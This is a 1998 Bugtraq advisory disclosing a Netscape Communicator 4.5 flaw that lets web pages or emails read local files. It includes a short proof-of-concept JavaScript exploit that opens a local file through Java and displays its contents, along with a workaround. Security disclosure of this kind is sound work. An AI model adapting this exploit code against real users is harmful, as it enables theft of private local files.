Date: 	Mon, 23 Nov 1998 10:36:40 PST
From: Georgi Guninski <guninski@HOTMAIL.COM>
Subject:      Netscape Communicator 4.5 can read local files
To: BUGTRAQ@netspace.org

There is a bug in Netscape Communicator 4.5 for Windows 95 and 4.05 for
WinNT 4.0
(probably others) which allows reading files from the user's computer.
It is not necessary the file name to be known, because directories may
be browsed.
The contents of the file may be sent to an arbitrary host. In order this
to work, you need both Java and Javascript
enabled. The bug may be exploited by email message.

Demonstration is available at:
http://www.geocities.com/ResearchTriangle/1711/b6.html

Workaround: Disable Javascript or Java.


The Javascript code is:

sl=window.open("wysiwyg://1/file:///C|/");
sl2=sl.window.open();
sl2.location="javascript:s='<SCRIPT>b=\"Here is the beginning of your
file: \";var f = new java.io.File(\"C:\\\\\\\\test.txt\");var fis = new
java.io.FileInputStream(f); i=0; while ( ((a=fis.read()) != -1) &&
(i<100) ) { b += String.fromCharCode(a);i++;}alert(b);</'+'SCRIPT>'";

Regards,
Georgi Guninski
http://www.geocities.com/ResearchTriangle/1711



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